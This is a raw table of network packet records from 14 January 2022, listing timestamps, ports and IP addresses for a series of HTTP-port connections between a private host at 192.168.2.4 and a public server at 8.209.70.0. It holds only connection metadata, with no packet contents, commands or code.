Jan 14, 2022 20:29:48.438941956 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.544704914 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.546112061 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.546420097 CET	49862	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.563611984 CET	80	49862	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.597466946 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.614907980 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.614983082 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.615096092 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.615530968 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.632452011 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.632718086 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.740118980 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.740247965 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.750586987 CET	49863	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.770446062 CET	80	49863	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.779844999 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.798394918 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.798499107 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.798630953 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.798645020 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.817837000 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.922399998 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.922761917 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.922950983 CET	49864	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.942548990 CET	80	49864	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.977345943 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.994596004 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:48.995337963 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.995537996 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:48.995564938 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.012759924 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.111089945 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.111195087 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.131237984 CET	49865	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.148531914 CET	80	49865	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.160789013 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.177944899 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.178064108 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.178210020 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.178245068 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.195346117 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.298471928 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.298717022 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.298753977 CET	49866	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.317985058 CET	80	49866	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.326493979 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.344135046 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.346436977 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.346499920 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.348133087 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.365170956 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.365362883 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.465799093 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.465965033 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.466077089 CET	49867	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.485493898 CET	80	49867	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.494472980 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.514045954 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.514159918 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.514626980 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.514908075 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.532638073 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.532658100 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.634764910 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.635055065 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.635202885 CET	49868	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.653955936 CET	80	49868	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.676707029 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.694603920 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.695214987 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.695266008 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.695274115 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.712660074 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.819297075 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.822001934 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.822269917 CET	49869	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.839564085 CET	80	49869	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.850491047 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.867980957 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.868088007 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.868175983 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.928913116 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970489979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970515013 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970526934 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970541954 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970554113 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970566034 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970577955 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970588923 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970601082 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970609903 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.970613003 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:49.970655918 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.970679998 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:49.987821102 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008781910 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008807898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008824110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008841038 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008856058 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.008857012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008876085 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008882999 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.008893013 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008909941 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008912086 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.008924007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008936882 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008945942 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.008949995 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008968115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008985043 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.008996010 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.009017944 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.009035110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009052038 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009067059 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009080887 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009099007 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009109020 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.009138107 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.009213924 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.009254932 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.026165962 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.026190996 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.026201963 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.026271105 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049560070 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049585104 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049643993 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049652100 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049670935 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049690962 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049702883 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049709082 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049734116 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049757957 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049774885 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049793005 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049809933 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049839973 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049859047 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049861908 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049909115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049925089 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049942017 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049957991 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049958944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049976110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.049990892 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.049993038 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050008059 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050024986 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050121069 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050138950 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050154924 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050172091 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050189018 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050199986 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050204039 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050221920 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050232887 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050240040 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050249100 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050257921 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050275087 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050276041 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050292015 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050308943 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050318956 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050326109 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050343037 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050343990 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050394058 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050405979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050422907 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050441027 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050457954 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050474882 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050479889 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050493956 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050504923 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050510883 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050534964 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.050826073 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050847054 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.050879955 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.068356037 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.068393946 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.068412066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.068424940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.068450928 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.068483114 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089102983 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089129925 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089148045 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089164972 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089180946 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089199066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089211941 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089216948 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089234114 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089250088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089258909 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089267015 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089283943 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089302063 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089304924 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089317083 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089324951 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089334965 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089351892 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089374065 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089378119 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089394093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089406967 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089410067 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089426994 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089443922 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089452028 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089461088 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089478016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089485884 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089495897 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089524031 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089524984 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089529991 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089539051 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089541912 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089555979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089570045 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089586020 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089596987 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089602947 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089629889 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089633942 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089636087 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089643955 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089654922 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089673042 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089682102 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089689016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089706898 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089714050 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089723110 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089735985 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089739084 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089756966 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089772940 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089788914 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089790106 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089806080 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089822054 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089829922 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089839935 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089859962 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089871883 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089879990 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.089888096 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089905977 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.089926004 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107124090 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107151985 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107172966 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107186079 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107196093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107212067 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107217073 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107239962 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107261896 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107261896 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107283115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107305050 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107326031 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107330084 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107347012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107358932 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107369900 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107378006 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107392073 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107413054 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107428074 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107436895 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107458115 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107480049 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107480049 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107501030 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107522011 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107537031 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107542992 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107563019 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107564926 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107585907 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107594013 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107609034 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107630014 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107640982 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107645035 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107666016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107686043 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107701063 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107707977 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107716084 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107728958 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107750893 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107769966 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107773066 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107793093 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107804060 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107814074 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107836008 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107856035 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107867002 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107877016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107896090 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107897043 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107918978 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107928038 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.107939959 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107954979 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.107990980 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127048016 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127078056 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127103090 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127127886 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127150059 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127151012 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127171993 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127176046 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127190113 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127201080 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127223969 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127239943 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127249002 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127275944 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127300024 CET	80	49870	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:50.127319098 CET	49870	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:50.127324104 CET	80	49870	8.209.70.0	192.168.2.4
